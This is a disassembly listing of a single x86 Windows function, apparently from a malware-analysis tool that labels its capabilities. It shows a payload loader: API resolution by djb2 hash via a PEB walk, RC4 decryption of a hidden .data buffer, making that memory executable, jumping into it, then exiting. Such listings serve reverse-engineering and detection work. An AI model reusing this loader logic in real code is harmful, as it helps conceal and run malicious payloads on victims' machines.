Function at 0x66c01340
Capabilities:
Encrypt data using rc4 prga
Resolve function by djb2 hash
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
movzx eax, byte [0x66cfe800]
xor eax, 1
test al, al
je 0x66c01685
mov dword [ebp - 0x30], 0x30
mov eax, dword [ebp - 0x30]
mov eax, dword fs:[eax]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
mov eax, dword [eax]
mov eax, dword [eax]
add eax, 0x10
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x18], eax
mov dword [esp + 4], 0x614db023
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call fcn.66c010fa
mov dword [section..bss], eax
mov dword [ebp - 0xc], 0
call fcn.66c01215
add dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
js 0x66c013b1
mov dword [esp + 4], 0x844ff18d
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call fcn.66c010fa
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], 0x382c0f97
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call fcn.66c010fa
mov dword [ebp - 0x20], eax
mov dword [esp + 4], 0xeb96c5fa
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call fcn.66c010fa
mov dword [ebp - 0x24], eax
mov dword [esp + 4], 0x7891c520
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call fcn.66c010fa
mov dword [ebp - 0x28], eax
mov dword [esp + 4], 0x71019921
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call fcn.66c010fa
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x7e], 0xcfe00f7f
mov dword [ebp - 0x7a], 0x1bc371cd
mov dword [ebp - 0x76], 0x5a7c0941
mov dword [ebp - 0x72], 0x4d81dea2
mov dword [esp + 0xc], 0x2a29b8
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x7e]
mov dword [esp + 4], eax
lea eax, [ebp - 0x7e]
mov dword [esp], eax
call fcn.66c010bb
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
jmp 0x66c01499
mov eax, dword [ebp - 0x14]
add eax, section..data
movzx eax, byte [eax]
mov edx, dword [ebp - 0x10]
add edx, section..data
mov byte [edx], al
add dword [ebp - 0x10], 1
add dword [ebp - 0x14], 2
mov eax, dword [ebp - 0x14]
cmp eax, 0xfc7ff
jbe 0x66c0147b
mov dword [ebp - 0x44], section..data
mov dword [ebp - 0x48], 0x66c02000
mov dword [ebp - 0x4c], 0x7e400
lea eax, [ebp - 0x7e]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x54], 0x10
mov dword [ebp - 0x58], 0x100
mov dword [ebp - 0x5c], 0
jmp 0x66c014eb
mov eax, dword [ebp - 0x5c]
mov ecx, eax
lea edx, [ebp - 0x184]
mov eax, dword [ebp - 0x5c]
add eax, edx
mov byte [eax], cl
add dword [ebp - 0x5c], 1
mov eax, dword [ebp - 0x58]
cmp eax, dword [ebp - 0x5c]
jg 0x66c014d5
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x60], 0
jmp 0x66c01571
lea edx, [ebp - 0x184]
mov eax, dword [ebp - 0x60]
add eax, edx
movzx eax, byte [eax]
movzx edx, al
mov eax, dword [ebp - 0x64]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x60]
cdq
idiv dword [ebp - 0x54]
mov eax, edx
mov edx, eax
mov eax, dword [ebp - 0x50]
add eax, edx
movzx eax, byte [eax]
movzx eax, al
add eax, ecx
cdq
idiv dword [ebp - 0x58]
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x64]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x184]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x60]
mov dword [esp + 4], eax
lea eax, [ebp - 0x184]
mov dword [esp], eax
call fcn.66c011db
add dword [ebp - 0x60], 1
mov eax, dword [ebp - 0x58]
cmp eax, dword [ebp - 0x60]
jg 0x66c01511
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x6c], 0
jmp 0x66c0163e
mov eax, dword [ebp - 0x60]
add eax, 1
cdq
idiv dword [ebp - 0x58]
mov dword [ebp - 0x60], edx
lea edx, [ebp - 0x184]
mov eax, dword [ebp - 0x60]
add eax, edx
movzx eax, byte [eax]
movzx edx, al
mov eax, dword [ebp - 0x64]
add eax, edx
cdq
idiv dword [ebp - 0x58]
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x64]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x184]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x60]
mov dword [esp + 4], eax
lea eax, [ebp - 0x184]
mov dword [esp], eax
call fcn.66c011db
lea edx, [ebp - 0x184]
mov eax, dword [ebp - 0x60]
add eax, edx
movzx eax, byte [eax]
movzx edx, al
lea ecx, [ebp - 0x184]
mov eax, dword [ebp - 0x64]
add eax, ecx
movzx eax, byte [eax]
movzx eax, al
add eax, edx
cdq
idiv dword [ebp - 0x58]
mov eax, edx
mov byte [ebp - 0x6d], al
mov edx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x44]
add eax, edx
movzx edx, byte [eax]
movzx eax, byte [ebp - 0x6d]
movzx eax, byte [ebp + eax - 0x184]
xor eax, edx
mov byte [ebp - 0x6e], al
mov edx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x48]
add edx, eax
movzx eax, byte [ebp - 0x6e]
mov byte [edx], al
add dword [ebp - 0x6c], 1
mov eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0x6c]
jg 0x66c01593
nop
mov dword [ebp - 0x84], 0
lea eax, [ebp - 0x84]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x40
mov dword [esp + 4], 0x7e400
mov dword [esp], section..data
mov eax, dword [ebp - 0x1c]
call eax
sub esp, 0x10
mov eax, section..data
call eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
call eax
nop
push ecx
push eax
cmp eax, 0x3e8
lea ecx, [esp + 0xc]
jb 0x66c016b6
sub ecx, 0x3e8
or dword [ecx], 0
sub eax, 0x3e8
cmp eax, 0x3e8
ja 0x66c016a1
sub ecx, eax
or dword [ecx], 0
pop eax
pop ecx
ret